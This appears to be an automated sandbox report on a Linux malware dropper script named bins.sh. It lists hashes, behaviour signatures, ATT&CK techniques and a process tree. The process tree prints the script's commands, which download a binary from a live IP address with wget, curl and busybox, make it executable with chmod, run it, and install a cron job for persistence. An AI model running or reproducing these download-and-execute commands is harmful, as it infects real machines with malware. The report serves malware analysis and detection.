9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696

General

Target

bins.sh
Size

10KB
MD5

fa2704f69bcefd901e2e3ca063a3a8d9
SHA1

064f497aaf9573107f8b373e608dee54df2a205d
SHA256

9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696
SHA512

ad625e97d0c8cb40831213ece86efd36c94272d47e849119364ca732b26dbb581c1369918951dbee458d5672a71d4b80926b881d8404ecd70389f897bbdafffa
SSDEEP

192:mTXvv7q7z3W7fQ7XHXzXOHvc7frq7z3xDmDaDguxxtpJnJ1JdJmvLw7Ftxm43YQA:5jL3zOHvcyBOigKLTmvLwRNRJOigg3zg

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2211) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1489 chmod
Executes dropped EXE 1 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

ioc pid process

/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy 1490 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
Renames itself 1 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

pid process

1491 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.IAYwCy crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1489	chmod

ioc	pid	process
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	1490	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

pid	process
1491	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.IAYwCy	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

description	ioc	process
File opened for reading	/proc/1316/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1601/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/4/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1073/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1500/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1576/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1726/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/23/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1515/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1524/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1537/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1561/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1343/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/157/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/943/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1221/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1529/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1629/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1654/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/10/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1630/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1656/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1717/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1534/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1479/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1725/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1744/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/198/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/197/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1255/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1589/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1616/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/36/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1513/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1701/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1057/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1697/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/155/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1548/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1598/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1536/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1519/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1540/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1502/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/126/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1710/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/15/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/468/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/28/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1535/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1658/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1715/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1179/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/80/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/162/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/538/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1279/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1611/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1694/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1703/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/20/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1742/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1709/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1283/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	wget
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	curl
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1472
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1473
- /usr/bin/wget
  wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1475
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/chmod
  chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1490
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1492
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1493
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1494
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1495
- /bin/rm
  rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  PID:1497
- /usr/bin/wget
  wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:1500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Network Service Discovery

2

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.IAYwCy

Filesize
210B

MD5
e0c62b2f8768f011491f73402f132d78

SHA1
9402a59cd1be5f81edf1674e48b008740e3fd8f6

SHA256
93afbbc96b666dfea9e7010c2656fb1a3afe996a9e9e2fd28fe7a3fff4f62083

SHA512
fd9b5c13ea0f231fe6deee3f9ed3f676f6aa3ee9942b081de30723fd2608abaf37e841c370ef2c7e326ca4213b77051d46515f1d9f3898d6abddf91abc2b3dc5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads